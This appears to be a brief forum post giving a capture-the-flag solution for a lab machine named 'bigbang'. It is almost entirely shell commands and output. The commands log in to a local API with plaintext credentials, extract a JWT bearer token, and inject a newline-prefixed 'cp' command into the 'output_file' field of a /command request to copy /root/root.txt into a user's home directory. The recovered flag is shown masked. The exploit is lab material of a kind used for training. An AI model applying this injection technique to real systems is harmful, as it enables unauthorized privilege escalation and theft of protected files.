It worked pretty well for me
curl -s -X POST -H 'Content-Type: application/json' -d '{"username":"developer", "password":"bigbang"}'
http://localhost:9090/login | grep -oP '"access_token":"\K[^"]+'
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNzk1NjY0NCwianRpIjoiYWZmMjdmOTMtMDZiZC00YTNhLWFjYjktMmI2YTllNzYxZGQwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczNzk1NjY0NCwiY3NyZiI6IjY1MzgwNGY1LTA3NzQtNDY1Yy05OWFlLTFjZTRlMmU3OTYxOCIsImV4cCI6MTczNzk2MDI0NH0.GWT2yNTLxGGzY4EznxXC8Q0hCCC_LmhJuiNZE25h3o8
developer@bigbang:~$ curl -s -X POST -H 'Content-Type: application/json' -d '{"username":"developer", "password":"bigbang"}'
http://localhost:9090/login | grep -oP '"access_token":"\K[^"]+' | xargs -I {} echo curl -X POST -H 'Authorization: Bearer {}' -H 'Content-Type: application/json' 127.0.0.1:9090/command --data '{"command":"send_image", "output_file":"\ncp --no-preserve=mode,ownership /root/root.txt /home/developer/pwned.txt"}'
curl -X POST -H Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNzk1NjY4MywianRpIjoiNjgyM2U2M2UtOTJlYy00MjdjLWFhOWEtZGE5ZjUwNjk2N2MxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczNzk1NjY4MywiY3NyZiI6IjNjY2Q2MTQ4LTcwNmMtNDUyYS1iNjRhLTljNjlmYjQ0YjlhYSIsImV4cCI6MTczNzk2MDI4M30.OhV99QgqJVSdKtY87S9GmhS7HHgG2aglvlkU0SdPJ8E -H Content-Type: application/json 127.0.0.1:9090/command --data {"command":"send_image", "output_file":"\ncp --no-preserve=mode,ownership /root/root.txt /home/developer/pwned.txt"}
developer@bigbang:~$ ls
android pwned.txt
developer@bigbang:~$ cat pwned.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
